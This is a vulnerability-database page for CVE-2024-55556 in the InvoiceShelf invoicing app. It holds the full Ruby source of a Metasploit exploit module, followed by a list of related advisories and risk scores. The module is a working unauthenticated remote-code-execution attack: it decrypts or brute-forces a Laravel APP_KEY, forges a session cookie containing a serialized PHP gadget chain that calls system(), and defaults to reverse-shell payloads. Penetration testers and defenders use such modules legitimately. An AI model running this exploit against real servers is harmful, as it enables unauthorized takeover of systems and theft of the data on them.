Lucene search
+L

InvoiceShelf unauthenticated PHP Deserialization Vulnerability

🗓️ 14 Mar 2025 18:51:09Reported by h00die-gr3y <[email protected]>, Rémi Matasse, Mickaël BenassouliType 
metasploit
 metasploit
🔗 www.rapid7.com👁 626 Views

InvoiceShelf has a PHP deserialization vulnerability allowing remote unauthenticated code execution.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-55556
7 Jan 202516:07
circl
CNNVD
Crater 代码问题漏洞
7 Jan 202500:00
cnnvd
CVE
CVE-2024-55556
7 Jan 202500:00
cve
Cvelist
CVE-2024-55556
7 Jan 202500:00
cvelist
NVD
CVE-2024-55556
7 Jan 202516:15
nvd
OSV
CVE-2024-55556
7 Jan 202516:15
osv
Packet Storm
InvoiceShelf 1.3.0 Remote Code Execution
14 Mar 202500:00
packetstorm
Positive Technologies
PT-2024-36552 · Unknown · Crater Invoice
13 Dec 202400:00
ptsecurity
Rapid7 Blog
Metasploit Weekly Wrap-Up 03/14/25
14 Mar 202519:09
rapid7blog
RedhatCVE
CVE-2024-55556
23 May 202507:41
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::LaravelCryptoKiller
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'InvoiceShelf unauthenticated PHP Deserialization Vulnerability',
        'Description' => %q{
          InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional
          invoices & estimates and is based on the PHP framework Laravel.
          InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct
          PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default
          InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie.
          These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using
          Laravel's encrypt() function.
          An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify
          the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve
          remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable.
          As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
          potentially resulting in complete system compromise, data exfiltration, or unauthorized access
          to sensitive information.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
          'Rémi Matasse', # SynActiv Research Team - discovery of the vulnerability
          'Mickaël Benassouli' # SynActiv Research Team - discovery of the vulnerability
        ],
        'References' => [
          ['CVE', '2024-55556'],
          ['URL', 'https://attackerkb.com/topics/25C8UQRPhx/cve-2024-55556'],
          ['URL', 'https://www.synacktiv.com/advisories/crater-invoice-unauthenticated-remote-command-execution-when-appkey-known']
        ],
        'DisclosureDate' => '2024-12-13',
        'Privileged' => false,
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => ['php'],
              'Arch' => ARCH_PHP,
              'Type' => :php,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => false,
          'RPORT' => 90
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [ true, 'The InvoiceShelf endpoint URL.', '/' ]),
      OptString.new('APP_KEY', [ true, 'Laravel APP_KEY.', 'base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=']),
      OptPath.new('BRUTEFORCE', [false, 'File with a list of APP_KEYs, one per line for a bruteforce attack.', nil])
    ])
  end

  def execute_command(laravel_cookie_cipher, laravel_cookie, laravel_session_cookie, _opts = {})
    laravel_cookie_id = laravel_cookie.split('=')[0]
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'cookie' => "#{laravel_session_cookie}; #{laravel_cookie_id}=#{laravel_cookie_cipher};",
      'ctype' => 'application/x-www-form-urlencoded'
    })
  end

  def check
    print_status("Checking if #{peer} can be exploited.")
    res = send_request_cgi({
      'method' => 'GET',
      'ctype' => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'app', 'version')
    })
    return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200

    # check if target is running the InvoiceShelf platform
    # parse json response and get the version
    res_json = res.get_json_document
    version_number = res_json['version'] unless res_json.blank?
    return CheckCode::Safe('No InvoiceShelf platform found.') if version_number.nil?

    if Rex::Version.new(version_number) <= Rex::Version.new('1.3.0')
      return CheckCode::Appears("InvoiceShelf #{version_number}")
    end

    CheckCode::Safe("InvoiceShelf #{version_number}")
  end

  def exploit
    # lets first check if decryption is successful with the APP_KEY by decrypting the Laravel cookie.
    # option APP_KEY is either a single entry of a file with APP_KEYS using the [file:] identifier
    cipher_mode = 'AES-256-CBC'
    res = send_request_cgi!({
      'method' => 'GET',
      'ctype' => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'login')
    })
    fail_with(Failure::Unknown, 'No valid response received from target.') unless res&.code == 200

    print_status('Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.')
    print_status('Grabbing the cookies.')
    set_cookie = res.get_cookies
    fail_with(Failure::NotFound, 'No cookie found.') if set_cookie.nil?
    laravel_session_cookie = set_cookie.match(/laravel_session=([^;]+)/) # get laravel_session cookie
    laravel_cookie = set_cookie.match(/\w{40}=([^;]+)/) # search for the 40 alphanumeric cookie identifier
    fail_with(Failure::NotFound, 'No cookie found. Unable to check APP_KEY.') if laravel_session_cookie.nil? || laravel_cookie.nil?

    if datastore['BRUTEFORCE']
      key_file = datastore['BRUTEFORCE']
      print_status("Starting bruteforce decryption with APP_KEYS listed in #{key_file}.")
      result = laravel_bruteforce_from_file(laravel_cookie[1], key_file, cipher_mode)
      fail_with(Failure::NotFound, "Bruteforce decryption failed. No valid APP_KEY found in file #{key_file}.") if result.nil?
      valid_app_key = result['key']
      unciphered_value = result['value']
    else
      result = laravel_decrypt(laravel_cookie[1], datastore['APP_KEY'], cipher_mode)
      fail_with(Failure::BadConfig, "Decryption with APP_KEY: #{datastore['APP_KEY']} failed.") if result.nil?
      valid_app_key = datastore['APP_KEY']
      unciphered_value = result
    end
    print_good("APP_KEY is valid: #{valid_app_key}")
    print_good("Unciphered value: #{unciphered_value}")

    print_status('Generate an encrypted serialized cookie payload with our cracked APP_KEY.')
    pl = payload.encoded
    pl = "echo -n '#{Base64.strict_encode64(payload.encoded)}'|(base64 -d||openssl enc -base64 -d)|php" if target['Type'] == :php
    pl_len = pl.length
    laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl_len}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;})
    b64_laravel_payload = Base64.strict_encode64(laravel_payload)
    hash_value = unciphered_value.split('|')[0]
    laravel_cookie_cipher = laravel_encrypt_session_cookie(b64_laravel_payload, hash_value, valid_app_key, cipher_mode)
    fail_with(Failure::BadConfig, 'Laravel cookie encryption failed.') if laravel_cookie_cipher.nil?

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    execute_command(laravel_cookie_cipher, laravel_cookie[0], laravel_session_cookie[0])
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 19:06Current
8High risk
Vulners AI Score8
CVSS 3.19.8
EPSS0.44126
SSVC
626